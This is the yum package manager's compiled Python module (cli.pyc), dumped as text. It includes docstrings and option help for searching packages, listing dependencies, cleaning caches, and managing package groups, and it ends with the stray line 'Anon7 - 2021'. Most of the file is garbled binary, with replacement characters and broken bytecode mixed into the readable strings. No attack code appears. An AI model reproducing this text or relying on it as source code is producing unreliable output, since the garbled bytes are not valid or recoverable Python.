�}�|kr-|rt|�t��krPndGHnt��}|t	d���}n|j
|
�|j���j|
|��q�W�j|�d	|d
t�}	t�}t|�t��kr�dGHt��dkr�t	d
�}nt	d�}|�j
jd�j
jdfGHg}	nx�|	D]�\}
�}t��t|�kr/qn|rSt��t|�krSqn�|kr�|rmdGHn|t	d���}|j��n�j|
|��qW|r�t|�t��kr�dGHt	d��j
jd�j
jdfGHnx6�D].}
|
|kr�jjt	d�|
�qqW|sKdt	d�gfSd|	fS(sESearch for simple text tags in a package object. This is a
        cli wrapper method for the module search function.

        :param args: list of names or wildcards to search for.
           Normally this method will begin by searching the package
           names and summaries, and will only search urls and
           descriptions if that fails.  However, if the first string
           in *args* is "all", this method will always search
           everything
        :return: a tuple where the first item is an exit code, and
           the second item is a generator if the search is a
           successful, and a list of error messages otherwise

        exit_code is::

            0 = we're done, exit
            1 = we've errored, exit with error string
            2 = we've got work yet to do, onto the next stage
        RORitdescriptionturlcsDg�D]}|�kr|^q}�j|dj|��GHdS(Ns, (t
fmtSectionR�(ttextR�t	used_keys(RR�R(s/usr/share/yum-cli/cli.pyt_print_match_section�s%iiR�tshowdupsR�RsN/S matched: %ssE  Name and summary matches %sonly%s, use "search all" for everything.sJ  Full name and summary matches %sonly%s, use "search all" for everything.R�R�sMatched: %ssG  Name and summary matches %smostly%s, use "search all" for everything.s!Warning: No matches found for: %ssNo matches found(R�R�R}RR|RpR�tsearchGeneratorR)RR�R�t
matchcallbackR�R�R&R�(RRt
searchlisttdupstokeystakeystmkeysR�RtmatchingR5t
matched_valueR�R�((RR�Rs/usr/share/yum-cli/cli.pytsearch�sn				"	

	#	,
 c	Csg}x�|D]�}|jd�rqtjj|�sFtjj|�rqtjj||j	|�}|j
|�q
|jjr�|j
|jjd|gdt��q
y)|j
|jjd|gdt��Wq
tjjk
r�q
Xq
W|j|�}|j|�dgfS(s�Print out a formatted list of dependencies for a list of
        packages.  This is a cli wrapper method for
        :class:`yum.YumBase.findDeps`.

        :param args: a list of names or wildcards specifying packages
           that should have their dependenices printed
        :return: (exit_code, [ errors ])

        exit_code is::

            0 = we're done, exit
            1 = we've errored, exit with error string
            2 = we've got work yet to do, onto the next stage
        s.rpmR�Rxi(R�RR_R�R�R�R�tpackagest
YumUrlPackageR6RqR�R�R�R�R�R)R�RR�tfindDepst
depListOutput(RRRuR�tthispkgtresults((s/usr/share/yum-cli/cli.pytdeplists"
!

c	CsE|jj}t|j_|j}|j|d|dt�}t|�dkrttjt	j
djd��}g}xx|D]p}|s�q~ntj
j|�s~tj
j|�r�q~nx1|D])}|s�q�n|jd||f�q�Wq~W|j|d|dt�}n||j_t|�dkr;ddgfSdgfS(s�Print out a list of packages that provide the given file or
        feature.  This a cli wrapper to the provides methods in the
        rpmdb and pkgsack.

        :param args: the name of a file or feature to search for
        :return: (exit_code, [ errors ])

        exit_code is::

            0 = we're done, exit
            1 = we've errored, exit with error string
            2 = we've got work yet to do, onto the next stage
        tcallbacktcallback_has_matchforitPATHR�s%s/%ssNo matches found(R�R�R)tmatchcallback_verbosetsearchPackageProvidesRpR|RR�R�tenvironRoRR_tre_filenametre_globRq(	RRtold_sdupR*R	tpathstnargsR�R�((s/usr/share/yum-cli/cli.pytprovidesAs.		#
$

cCsLt�}x|D]�}y|j|�}Wntjjk
rHd}n4X|jjd|�|jjd|j|j	f�y|j
|�}Wn-tjjk
r�|s
|j|�q
qX|s�|jjd|�n|j|�s|jjd|j|j	f�qqW|rB|j
jtd�djt|���ndgfS(s�Print information about a package that provides the given
        dependency.  Only one package will be printed per dependency.

        :param args: a list of strings specifying dependencies to
           search for
        :return: (exit_code, [ errors ])

        exit_code is::

            0 = we're done, exit
            1 = we've errored, exit with error string
            2 = we've got work yet to do, onto the next stage
        s  %s:s%s %ss"Error: No packages found for:
  %ss
  iN(R|treturnInstalledPackageByDepRRRRSR'R,tenvratui_from_repotreturnPackageByDepR�R�R&R�RR�R�(RRt	not_foundR�R�R�((s/usr/share/yum-cli/cli.pyt
resolveDepClils.	

c"CsYd}}}}}g}}}	}
}|jtd�djg|jj�D]}|j^qQ��}
|jjtj	j
|
�td�|jj}
|jjtj	j
|
�d|krb|j�\}}|j�\}}|j�\}}	|j�\}}
|j�\}}|jjd�|||||}|||	|
|}x|D]}
|jj|
�q]W|jddg�}tj|d	�}ggggf}|jj}t}x�|D]�}tjj|�}tjj|�r(||kr	d
}q.||jrd}q.d}nd}tjj |�}|sLq�n||j!||f�|dkr�|d/kr�t"}q�q�Wtd�|g}d0}ddddg}x�t#|�D]�\}}g}d} xWt$||dd�dt�D]6\}}|j!d|j%|�|f�| |7} q�W|r>dnd}!|d|j%| �t|�|!fg7}||7}| ||<q�W|td�|j%t&|��g7}dj|�}
|jjtj	j
|
�|s�|jj'dkr�|gfS|j%t&|d ��} | ddkr/| d d} ntd �| }
|jjtj	j
|
�|gfSd!|kr�|jjtd"��|j�\}}nd#|kr�|jjtd$��|j�\}}nd%|kr|jjtd&��|j�\}}	nd'|ksd%|krJ|jjtd(��|j�\}}
nd)|ksbd%|kr�|jjtd*��|j(�\}}nd+|kr�|jjtd,��|j�\}}nd-|kr�|jjtd.��|jjd�n|||||}|||	|
|}x'|D]}
|jjtj	j
|
�q,W|gfS(1s�Remove data from the yum cache directory.  What data is
        removed depends on the options supplied by the user.

        :param userlist: a list of options.  The following are valid
           options::

             expire-cache = Eliminate the local data saying when the
               metadata and mirror lists were downloaded for each
               repository.
             packages = Eliminate any cached packages
             headers = Eliminate the header files, which old versions
               of yum used for dependency resolution
             metadata = Eliminate all of the files which yum uses to
               determine the remote availability of packages
             dbcache = Eliminate the sqlite cache used for faster
               access to metadata
             rpmdb = Eliminate any cached datat from the local rpmdb
             plugins = Tell any enabled plugins to eliminate their
               cached data
             all = do all of the above
        :return: (exit_code, [ errors ])

        exit_code is::

            0 = we're done, exit
            1 = we've errored, exit with error string
            2 = we've got work yet to do, onto the next stage
        isCleaning repos: R�s9Operating on %s (see CLEAN OPTIONS in yum(8) for details)R�RGtbasearchR�s/*iiii@is"Disk usage under %s after cleanup:s
enabled repossdisabled repossuntracked reposs
other dataR\cSs|dS(Ni((R]((s/usr/share/yum-cli/cli.pyR^�streverses
  %-5s  %sR�Rs
%-5s  %s%ss%-5s  totals
ii����tbytess@Other repos take up %s of disk space (use --verbose for details)theaderssCleaning up headersRsCleaning up packagestmetadatasCleaning up xml metadatatdbcachesCleaning up database cachesexpire-caches!Cleaning up expire-cache metadataR�sCleaning up cached rpmdb dataR�sCleaning up pluginsi(s
enabled repossdisabled repossuntracked reposs
other data()R~RR�R�R�tidR'RTRRURVR�tcachedirtDEBUG_3t
cleanPackagestcleanHeaderst
cleanMetadatatcleanSqlitet
cleanRpmDBR�R�R&R�tgetCachedirGlobtglobR)R�R�tbasenametisdirtenabledR_t
disk_usageRqR�t	enumerateR�t
format_numbertsumR�tcleanExpireCache("RR�thdrcodetpkgcodetxmlcodetdbcodetexpccodet
pkgresultst
hdrresultst
xmlresultst	dbresultstexpcresultsR]R�trpmcodet
rpmresultstcodeRt	cacheglobRttableR�temptyR�R�tcolRgtlinesR(ttotalstheadertrowsttotaltcolon((s/usr/share/yum-cli/cli.pytcleanCli�s�1	


	
		
	#
&
	

cCs
|j|�S(s�Print out a list of groups that match the given names or
        wildcards.

        :param extcmds: a list of names or wildcards specifying
           groups to list
        :return: (exit_code, [ errors ])

        exit_code is::

            0 = we're done, exit
            1 = we've errored, exit with error string
            2 = we've got work yet to do, onto the next stage        
        (t_returnGroupLists(RR�((s/usr/share/yum-cli/cli.pytreturnGroupLists/sc
s?idd6dd6dd6dd6dd6dd6dd6dd6dd	6d
d6d
d6d
d
6d
d
6dd6dd6dd6dd6dd6dd6}�jjtjj�}itd6dd6dd6dd
6dd6dd6|d6�|}xg|rJ|d}t}|jd�r|d}t}n||kr,Pn|�||<|j	d�q�W|sZd}n�ddkr��ddkr�t�d<t�d<n�ddkr��d
dkr��ddkr�t�d<t�d
<n�d}�j
d|d|dt�}	|	\}
}}}
�ds,g}g}
n�dsEg}
g}n�ds^g}g}
ng�����fd�}|td�|�|td�|
�g}x:|
D]2}|jr�q�n�d
s�q�n|j
|�q�W|td�|�g}x:|
D]2}|jsqn�ds*qn|j
|�qW|td�|�g}x:|D]2}|jrpq[n�d
s�q[n|j
|�q[W|td�|�g}x:|D]2}|js�q�n�ds�q�n|j
|�q�W|td �|��s,�jjtd!�d"j|��dgfSdtd#�gfS($NR[tlangtlanguaget	languagestlangstenvtenvironmenttenvironmentstenvsR�tpackageRRutavailR{tinstRzR+tidsitnoiR�tuservisiblet
return_evgrpscs�|s
dS�j|��rF�jjtjjd|t|��dS�jjtjj|�xi|D]a}d|j}�dr�|d|j7}n|j	r�|d|j	7}n�jj
d|�qfWdS(Ns%s %us   %sR+s (%s)s [%s]s%s(RqR'RTRRURVRptui_nametcompsidtlangonlyR,(tsecttgroupsRR�(R�RRitwts(s/usr/share/yum-cli/cli.pyt_out_grp�s



	sInstalled Environment Groups:sAvailable Environment Groups:sInstalled Groups:sInstalled Language Groups:sAvailable Groups:sAvailable Language Groups:s)Warning: no environments/groups match: %ss, tDone(R'R.RRUR-R�RSR)RDR�tdoGroupListsRRhRqR&R_R�(RR�Ritwts_maptverbt	ouserlistR�tvaltuvtdGLRzR{tievgrpstevgrpsRlRjR((R�RRiRks/usr/share/yum-cli/cli.pyRU?s�



	

		 

0


	
	
	
	

	

	

	

cCs|j|dt�S(s�Print a summary of the groups that match the given names or
        wildcards.

        :param userlist: a list of names or wildcards specifying the
           groups to summarise. If *userlist* is an empty list, all
           installed and available packages will be summarised
        :return: (exit_code, [ errors ])

        exit_code is::

            0 = we're done, exit
            1 = we've errored, exit with error string
            2 = we've got work yet to do, onto the next stage
        Ri(RUR)(RR�((s/usr/share/yum-cli/cli.pytreturnGroupSummary�scCsx�|D]�}t}t}t}|jd�rA|d}t}n"|jd�rc|d}t}n|r�x0|jj|�D]}|j|�t}q|Wn|r�x0|jj|�D]}|j|�t}q�Wn|s|jj	t
d�|�qqWdgfS(s�Print complete information about the groups that match the
        given names or wildcards.

        :param userlist: a list of names or wildcards specifying the
           groups to print information about
        :return: (exit_code, [ errors ])

        exit_code is::

            0 = we're done, exit
            1 = we've errored, exit with error string
            2 = we've got work yet to do, onto the next stage
        s@^iR�is-Warning: group/environment %s does not exist.i(R�R)RDtcompstreturn_environmentstdisplayGrpsInEnvironmentst
return_groupstdisplayPkgsInGroupsR&R_R(RR�tstrngt
group_matchedtpkg_grptgrp_grptevgroupR((s/usr/share/yum-cli/cli.pytreturnGroupInfo�s*

	
	



 cCs�g}|r�|jjdkr�x.|jjD] }|j|jd|��q,Wx1|jjD] }|j|jd|��q]Wnt}x�|D]�}t}t}	|j	d�r�t}	|d}n"|j	d�r�t}|d}nt}
g}|r|j
j|�}nxs|D]k}t}
y|j|j
d|�}
Wn3tjjk
rr|jjtd�|�qqX|j|
�qWg}|	r�|j
j|�}nxs|D]k}t}
y|j|jd|�}
Wn3tjjk
r	|jjtd�|�q�q�X|j|
�q�W|
s@|jjtd	�|�q�nt}q�W|s�|jjdkr{|jjtd
��nd}|r�d}n|r�d}n|td�gfSdtd
dt|��t|�gfSdS(s|Mark the packages in the given groups for installation.

        :param grouplist: a list of names or wildcards specifying
           groups to be installed
        :return: (exit_code, [ errors ])

        exit_code is::

            0 = we're done, exit
            1 = we've errored, exit with error string
            2 = we've got work yet to do, onto the next stage
        tobjectss@^R�iitupgrades-Warning: Environment group %s does not exist.s)Warning: Package group %s does not exist.s!Warning: group %s does not exist.s0Maybe run: yum groups mark install (see man yum)isANo packages in any requested group available to install or updates%d package to Installs%d packages to InstallN(R�t
group_commandtigroupsR]R�t_at_groupupgradeRjR�R)RDRxRytselectEnvironmentt
environmentidRRtGroupsErrorR&R�RR{tselectGrouptgroupidR_RRp(Rt	grouplistR�t	pkgs_usedtievgrptigrpR�tgroup_stringR�RR~RjRR�texit_status((s/usr/share/yum-cli/cli.pyt
installGroups�sl
!






		c	Csg}x�|D]~}t}t}|jd�rAt}|d}n"|jd�rct}|d}ng}|r�|jj|�}|s�|jjtd�|�q�nxN|D]F}y|j|j	�}Wnt
jjk
r�q�q�X|j
|�q�Wg}|r:|jj|�}|s:|jjtd�|�q:nxN|D]F}y|j|j�}Wnt
jjk
ryqAqAX|j
|�qAWq
W|s�|jjdkr�|jjtd��nd	td
�gfSdtddt|��t|�gfSd
S(suMark the packages in the given groups for removal.

        :param grouplist: a list of names or wildcards specifying
           groups to be removed
        :return: (exit_code, [ errors ])

        exit_code is::

            0 = we're done, exit
            1 = we've errored, exit with error string
            2 = we've got work yet to do, onto the next stage
        s@^iR�isNo environment named %s existssNo group named %s existsR�s/Maybe run: yum groups mark remove (see man yum)is!No packages to remove from groupss%d package to removes%d packages to removeN(R)RDR�RxRyR&R�RtenvironmentRemoveR�RRR�R�R{tgroupRemoveR�R�R�RRp(	RR�R�R�R�RRjRR�((s/usr/share/yum-cli/cli.pytremoveGroupsMsJ





cCsv|jjs|jjr)|jjr)tS|jjr9tSx6|jj�D]%}|j	sj|j
|jkrItSqIWtS(N(R�R1RR0R�talwayspromptR)R+R3tisDepROR�(RRZ((s/usr/share/yum-cli/cli.pyR<�s%	cCstjj|jj��dS(s/Print out an explanation of command line usage.N(RtstdoutR�R�tformat_help(R((s/usr/share/yum-cli/cli.pyRg�scCstjj|jj��dS(s,Print out an explanation of the shell usage.N(RR�R�R�t	get_usage(R((s/usr/share/yum-cli/cli.pyt
shellUsage�scCs�|jj}|jjd|�rG|jjtjjt	d�|�t
S|jjd|j�}g}xj|D]b}t
|j�t
|j�kr�|j|�ql|jjtjjt	d�|j|j�qlqlWt|�dkrtx�|D]�}|j|�r/|j|kr(|j|jkr,tSqmtSq�|j|�rBt
S|j|�r�|rm|j|�rmtSq�q�Wn)|jjtjjt	d�|j�tSt
S(s:check if the package is reasonably installable, true/falseR5s)Package %s is already installed, skippingROs#Discarding non-comparable pkg %s.%sis;No other %s installed, adding to list for potential install(R�t
exactarchlistR�tcontainsR'RTRRUR-RR�RNRORR�RqRpR�R)R�R�R�tDEBUG_1(RR�tematchR�tinstalledByKeyt
comparabletinstpo((s/usr/share/yum-cli/cli.pyt_installable�s8

%N(/RRRRR+RSRZRjR�R�R�R)R�R�R�RRRRnR?R�R�R�R�R�R�R�R�R�R�R�R�RRRR$RTRVRURwR�R�R�R<RgR�R�(((s/usr/share/yum-cli/cli.pyRKsT	*			&	�	&9	
				%	�	!	
+	'W>	p9	,	7#3	l	$	+	+	�	�		(T	<			R�cBsheZdZd�Zd�Zd�Zed��Zd
d�Z	d�Z
d�Zd�Zd	�Z
RS(s\Subclass that makes some minor tweaks to make OptionParser do things the
    "yum way".
    cKs�d|kr#|d|_|d=n	t|_tj||�tjd�|_||_t|t	d��|_
|j|j
�|j�dS(NRsyum.clisPlugin Options(
t_utilsR�RRR#R%R&R�RRtplugin_option_grouptadd_option_groupt_addYumBasicOptions(RR�tkwargs((s/usr/share/yum-cli/cli.pyR�s

		cCs4|j�|jjtd�|�tjd�dS(s�Output an error message, and exit the program.  This method
        is overridden so that error output goes to the logger.

        :param msg: the error message to output
        sCommand line error: %siN(tprint_usageR&R�RRR(RR�((s/usr/share/yum-cli/cli.pyR_�s
c
Cswytdd|�}WnJtk
rb}|jj�tjtd�d|fIJtjd�nX|jd|�dS(s�Parse only command line options that affect basic yum
        setup.

        :param args: a list of command line options to parse
        :return: a dictionary containing the values of command line
           options
        s--nopluginss	--versions-qs-vs--quiets	--verboses-cs--configs-ds--debuglevels-es--errorlevels
--installroots--disableplugins--enableplugins--releasevers--setopts$

%s: %s option requires an argumentsCommand line erroriRi(s--nopluginss	--versions-qs-vs--quiets	--verbose(s-cs--configs-ds--debuglevels-es--errorlevels
--installroots--disableplugins--enableplugins--releasevers--setopt(	t_filtercmdlineR�R�RgRR
RRt
parse_args(RRR�((s/usr/share/yum-cli/cli.pyR��s


cCs:g}x-|D]%}|j|jdd�j��q
W|S(sR Split all strings in seq, at "," and whitespace.
            Returns a new list. t,R�(R�treplaceRo(tseqR"R�((s/usr/share/yum-cli/cli.pyR�	s
#c
Cs�|s|j�\}}n|jd|�\}}|jjj||�y|jsd|jjjrvt|jj_n|jr�d|jj_n|j	r�d|jj_	n|j
|jj_|j|jj_
|j|jjd<|j|jjd<|j|j�|jjd<|j|j�|jjd<|j|j�|jjd<|j|j�|jjd<|jjjr�tj�d	kr�d|jj_n!|jj�s�d|jj_n|jr�d|jj_n|jr�d|jj_n|jr|j|�|j|jj_n|jr7t|jj_ n|j!rRt|jj_!n|j"dkrst$t%d��n�|j"dkr�|jjj"d
krN|jj&j'd|jjj"�qNn�i
d
d
6d
d6dd6dd6dd6dd6dd6dd6dd6dd6}|j(|j"|j"�|_"|j"d
krN|jj&j'd|j"�n|j|j)�|jj_*|j|j+�|jj_,|j|j-�|j_.x�|jj.D]{}y/|jjj-}|j/|�||jj_-Wq�t0j1j2k
r#}|j3j4|�|jj5�t6j7d�q�Xq�W|j8dk	rL|j8|jj_8n|jj9�|jj:�x�|j;D]�\}}	yH|dkr�|jj;j<|	�n"|dkr�|jj;j=|	�nWqpt0j1j2k
r	}|j3j4|�|jj5�t6j7d�qpXqpW|j>rLt|j_?x&|jj;j@�D]}
t|
_?q6WnWnFt$k
r�}|j3j4t%d�|�|jj5�t6j7d�nX||fS(s�Parse command line options.

        :param args: the command line arguments entered by the user
        :return: (opts, cmds)  opts is a dictionary containing
           the values of command line options.  cmds is a list of the
           command line arguments that were not parsed as options.
           For example, if args is ["install", "foo", "--verbose"],
           cmds will be ["install", "foo"].
        Ritsecuritytbugfixtadvstbzstcvestsevsitautotalwaystnevertttysif-ttytyesRctontoffs)--color takes one of: auto, always, nevertcolort1ttrueR�tfalses--enablerepos
--disablereposOptions error: %sN(
NR�salwaysR�R�sif-ttysyessnoR�R�(AR�R�R�t
setCmdLinettolerantR�R)trecheck_installed_requiresR1R0tdlonlyRtdldirtdownloaddirR�tupdateinfo_filtersR�R�R�R�R�R�t	usercacheR�tgeteuidR�tsetCacheDirt	cacheonlyR�R�t_checkAbsInstallRoott
skipbrokentskip_brokenR�R�RSR�RR�treinittgettdisableexcludestdisable_excludestdisableincludestdisable_includestexcludetcmdline_excludesRqRRRMR&R�RgRRtrpmverbositytsetupProgressCallbackstsetupKeyImportCallbacksR�t
enableRepotdisableRepot
nogpgcheckt_override_sigchecksR�(RRR�R�t_remapR�texcludelistR�R�trepoexpR�((s/usr/share/yum-cli/cli.pyR�	s�
		"			
			%




	
cCsQ|js
dS|jddkr$dS|jjtd�|j�tjd�dS(NiR�s*--installroot must be an absolute path: %si(R�R&R�RRR(RR�((s/usr/share/yum-cli/cli.pyR��	s	
cCs�|j|�|jr�|jjd�r�tj|jd|jtj�re|jd|j|_nA|jdkr�tj|jdtj�r�|jd|_q�n|j}nd}|S(s(Return the root location to use for the yum operation.
        This location can be changed by using the --installroot
        option.

        :param opts: a dictionary containing the values of the command
           line options
        :return: a string representing the root location
        R�s/etc/yum/yum.confs
/etc/yum.conf(R�R�tlstripR�taccessR�tR_OK(RR�R�((s/usr/share/yum-cli/cli.pyR��	s	
#cOs|jj�|j�dS(N(R�RgR(RR�tvaluetparserRR�((s/usr/share/yum-cli/cli.pyt_wrapOptParseUsage�	s
cCs�d�}|jr1t|d�}|j|�n|}d|_|jddddd|jdtd	��d
|_|jdddd
dtd��|jdddddd
dtd��|jdddddddtd�dd�|jdddddd dddtd!�dd"�|jd#d$dd%dddtd&�dd dd'�|jd(dd)dd
dtd*��|jd+dd)dd
dt�|jd,d-dd.dddtd/�dd dd0�|jd1d2dddtd3�dd4�|jd5d6dd7dd
dtd8��|jd9d:dd;dd
dtd<��|jd=d>dd?dd
dtd@��|jdAddBdd
dtdC��|jdDddBdd
dt�|jdEdd
dtdF��|jdGdtdH�ddI�|jdJddddKd|ddLdgdtdM�ddN�|jdOddddKd|ddLdgdtdP�ddN�|jdQdRdgddSdtdT�ddU�|jd1dVdgddSdtdW�ddN�|jd1dXdgddSdtdY�ddN�|jdZdd
dtd[��|jd\dd
dtd]��|jd^dd
dtd_��|jd1d`ddadgddSdtdb�ddc�|jd1ddddedgddSdtdf�ddc�|jdgdd
ddhdtdi��|jd1djddkdddtdl��|jd1dmddndddtdo��|jdpddqdd
dtdr��|jdsddtdddtdu��|jd1dvddwdgddSdtdx��|jdydd
dtdz��|jd{dd
dtd|��|jd}d~dddgddSdtd���|jd�dgddSdtd���|jd�dgddSdtd���|jd�d�dgdd�ddSdtd���dS(�NcSs*td|j�}|j||f�dS(s�Callback for the enablerepo and disablerepo option. 
            
            Combines the values given for these options while preserving order
            from command line.
            sparser.values.%sN(tevaltdestRq(toptobjR�R�R�R�((s/usr/share/yum-cli/cli.pyt
repo_optcb�	ssYum Base Optionstresolves-hs--helptactionRthelpsshow this help message and exitR_s-ts
--tolerantt
store_truesbe tolerant of errorss-Cs--cacheonlyR�R�s2run entirely from system cache, don't update caches-cs--configR�tdefaults/etc/yum/yum.confsconfig file locationtmetavars
[config file]s-Rs--randomwaitR�ttypeRsmaximum command wait times	[minutes]s-ds--debuglevelR�sdebugging output levels
[debug level]s--showduplicatesR�s2show duplicates, in repos, in list/search commandss--show-duplicatess-es--errorlevelR�serror output levels
[error level]Rs--rpmverbositysdebugging output level for rpms[debug level name]s-qs--quietR�squiet operations-vs	--verboseR�sverbose operations-ys--assumeyesR1sanswer yes for all questionss
--assumenoR0sanswer no for all questionss--nodepss	--versionsshow Yum version and exits
--installrootsset install roots[path]s--enablerepotstringR�s3enable one or more repositories (wildcards allowed)s[repo]s
--disablerepos4disable one or more repositories (wildcards allowed)s-xs	--excludeRqs"exclude package(s) by name or globs	[package]s--disableexcludess7disable exclude from main, for a repo or for everythings--disableincludess0disable includepkgs for a repo or for everythings--obsoletess*enable obsoletes processing during updatess--nopluginssdisable Yum pluginss--nogpgchecksdisable gpg signature checkings--disablepluginR�sdisable plugins by names[plugin]s--enablepluginR�senable plugins by names
--skip-brokenR�s&skip packages with depsolving problemss--colorR�scontrol whether color is useds--releaseverR�s5set value of $releasever in yum config and repo filess--downloadonlyR�sdon't update, just downloads
--downloaddirR�s2specifies an alternate directory to store packagess--setoptRws%set arbitrary config and repo optionss--bugfixs,Include bugfix relevant packages, in updatess
--securitys.Include security relevant packages, in updatess
--advisorys--advisoriesR�s=Include packages needed to fix the given advisory, in updatess--bzss7Include packages needed to fix the given BZ, in updatess--cvess8Include packages needed to fix the given CVE, in updatess--sec-severitys
--secseverityR�sDInclude security relevant packages matching the severity, in updates(	R�RR�tconflict_handlert
add_optionR�RRSR(RR�R((s/usr/share/yum-cli/cli.pyR��	s�					
	
















N(RRRRR_R�tstaticmethodR�RSR�R�R�R�R�(((s/usr/share/yum-cli/cli.pyR��s		
			
		cCsfg}t|�}xMt|�dkra|jd�}d|kry|jdd�\}}||kr^|j|�q^q|dkr�|j|�q||kr�|j|�q||krt|�dkr�t|�n|jd�}|ddkrt|�n|j||g�qx?|D]7}t|�dkr#|j|�r#|j|�q#q#WqW|S(s�Keep only specific options from the command line argument list

    This function allows us to peek at specific command line options when using
    the optparse module. This is useful when some options affect what other
    options should be available.

    @param novalopts: A sequence of options to keep that don't take an argument.
    @param valopts: A sequence of options to keep that take a single argument.
    @param args: The command line arguments to parse (as per sys.argv[:1]
    @return: A list of strings containing the filtered version of args.

    Will raise ValueError if there was a problem parsing the command line.
    iRkis--R�i(tlistRpR�RoRqR�R�RD(t	novaloptstvaloptsRtoutR�R�Rtnext((s/usr/share/yum-cli/cli.pyR�7
s.
!(/RR�RRR�R�R#RtoptparseRRRtrpmROR4RLRR!R�Rt
yum.Errorstyum.logginglevelstyum.misctyum.pluginst
rpmUtils.archRRRtyum.rpmtransRRR,tyum.i18nRR	R
tyum.packagesRRRRRR R"RR�R�(((s/usr/share/yum-cli/cli.pyt<module>sP	
����������`

Anon7 - 2021